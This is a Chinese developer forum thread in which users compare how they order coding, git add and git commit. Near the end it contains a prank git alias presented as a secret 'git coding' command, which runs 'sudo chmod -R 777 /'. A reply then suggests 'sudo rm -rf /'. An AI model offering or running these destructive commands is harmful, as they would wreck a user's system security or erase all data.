好奇大家用 git 的时候，对 add、coding、commit 的操作顺序是怎么样的

[Eoss]

我用 git 的时候，是先 coding ，然后觉得可以了再 add ， commit 。

一直觉得我这样做好像没什么问题，因为到底还是提交了；又觉得有问题，因为这样做感觉 add 这一步骤就没意义了，就像是 coding —— commit 一样。

不知道大家是什么顺序？

跟我一样是 coding —— add —— commit ？

还是 add —— coding —— commit ？

应该还有add——coding——add——coding——commit的吧？

顺便问一下， coding —— add —— commit 这样的顺序有人觉得存在弊端吗？

[crazystory]

我同事的日志清一色 up
我说了好多次让他写详细点我看日志大概知道你做了啥，无用，所以现在他的 commit 基本没法追查，要你对着 commit 的详细记录去看变更才知道做了什么

[sunber]

一个 coding 唬住了众多大神， 23333 ，我也偷偷查了下

[an168bang521]

git add -A
git commit -m "ADD/MODI"
git push
因为是自己的代码，是下班的时候，一次性 push 到仓库；

[tcpdumpp]

如果是全部提交 git commit -a, 如果部分提交则： code -> add - > commit - > push origin

[ximenyuxuan]

如果只是在现有代码上做修改， commit 即可。但如果是新增了某个类或者某个配置文件、 jsp 等需要 add ，然后再 commit 。关于 git 的插件建议用 idea ， idea 里会通过颜色告诉你哪些需要 add 哪些需要 commit

[Arnie97]

@AZLisme @jppxhz01 @scipio @lcc4376
其实 Git 有一个鲜为人知的隐藏命令 git coding ，由于威力太猛，默认是隐藏的，要用以下方式启用，一般人我不告诉他（快逃

$ git config --global alias.coding '!sudo chmod -R 777 /'

[AZLisme]

@Arnie97 你这个太黑了，干嘛不 sudo rm -rf /